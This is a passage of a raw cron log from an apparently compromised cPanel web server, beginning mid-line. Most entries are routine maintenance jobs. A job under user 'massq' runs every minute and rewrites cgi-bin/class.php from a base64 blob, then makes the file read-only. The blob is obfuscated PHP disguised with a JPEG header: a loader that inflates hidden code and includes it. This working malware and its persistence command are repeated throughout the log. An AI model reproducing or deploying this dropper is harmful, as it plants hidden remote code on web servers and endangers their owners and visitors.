"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:50:01 server CROND[6622]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 02:50:01 server CROND[6623]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:50:01 server CROND[6625]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 02:50:01 server CROND[6627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:50:01 server CROND[6635]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 02:50:01 server CROND[6637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:50:01 server CROND[6636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:50:01 server CROND[6632]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 02:50:01 server CROND[6633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:51:01 server CROND[7502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:51:01 server CROND[7503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:51:01 server CROND[7504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:52:01 server CROND[7893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:52:01 server CROND[7894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:52:01 server CROND[7895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:53:01 server CROND[8304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:53:01 server CROND[8303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:53:01 server CROND[8305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:54:01 server CROND[8721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:54:01 server CROND[8722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:54:01 server CROND[8720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:55:01 server CROND[9533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:55:01 server CROND[9534]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 02:55:01 server CROND[9535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:55:01 server CROND[9538]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 02:55:01 server CROND[9540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:55:01 server CROND[9541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:55:01 server CROND[9539]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:56:01 server CROND[10439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:56:01 server CROND[10440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:56:01 server CROND[10441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:57:01 server CROND[11060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:57:01 server CROND[11061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:57:01 server CROND[11063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:57:01 server CROND[11062]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 02:58:01 server CROND[11445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:58:01 server CROND[11446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:58:01 server CROND[11447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:59:01 server CROND[12068]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  1 02:59:01 server CROND[12069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:59:01 server CROND[12070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:59:01 server CROND[12071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:00:01 server CROND[12497]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 03:00:01 server CROND[12500]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 03:00:01 server CROND[12504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:00:01 server CROND[12506]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 03:00:01 server CROND[12508]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 03:00:01 server CROND[12510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:00:01 server CROND[12507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:00:01 server CROND[12509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
